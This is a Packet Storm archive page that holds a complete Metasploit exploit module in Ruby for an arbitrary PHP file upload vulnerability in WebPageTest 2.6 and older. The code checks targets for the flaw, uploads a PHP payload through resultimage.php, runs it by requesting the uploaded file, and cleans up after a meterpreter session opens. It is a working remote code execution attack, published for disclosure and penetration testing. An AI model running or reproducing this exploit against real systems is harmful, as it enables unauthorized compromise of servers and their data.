what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebPageTest Arbitrary PHP File Upload

WebPageTest Arbitrary PHP File Upload
Posted Aug 1, 2012
Authored by dun, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in WebPageTest's Upload Feature. By default, the resultimage.php file does not verify the user-supplied item before saving it to disk, and then places this item in the web directory accessable by remote users. This flaw can be abused to gain remote code execution.

tags | exploit, remote, web, php, code execution
advisories | OSVDB-83822
SHA-256 | 12ff7aba4342dfbb7f5a516aa01579569cbaf4c1cb86bb84f42047ca2ada8e0b

WebPageTest Arbitrary PHP File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "WebPageTest Arbitrary PHP File Upload",
'Description' => %q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.php file does not verify the user-supplied item before
saving it to disk, and then places this item in the web directory accessable by
remote users. This flaw can be abused to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
['EDB', '19790']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 13 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
], self.class)
end


def check
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res1 = send_request_raw({'uri'=>"#{base}/index.php"})
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})

if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
res2 and res2.code == 200
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def on_new_session(cli)
if cli.type != "meterpreter"
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
cli.fs.file.rm(@target_path)
print_status("#{@target_path} removed")
end


def exploit
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

p = payload.encoded
fname = "blah.php"
data = Rex::MIME::Message.new
data.add_part(
"<?php #{p} ?>", #Data is our payload
'multipart/form-data', #Content Type
nil, #Transfer Encoding
"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition
)

print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/work/resultimage.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

if not res
print_error("#{peer} - No response from host")
return
end

@target_path = "#{base}/results/#{fname}"
print_status("#{peer} - Requesting #{@target_path}")
res = send_request_cgi({'uri'=>@target_path})

handler

if res and res.code == 404
print_error("#{peer} - Payload failed to upload")
end
end
end
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close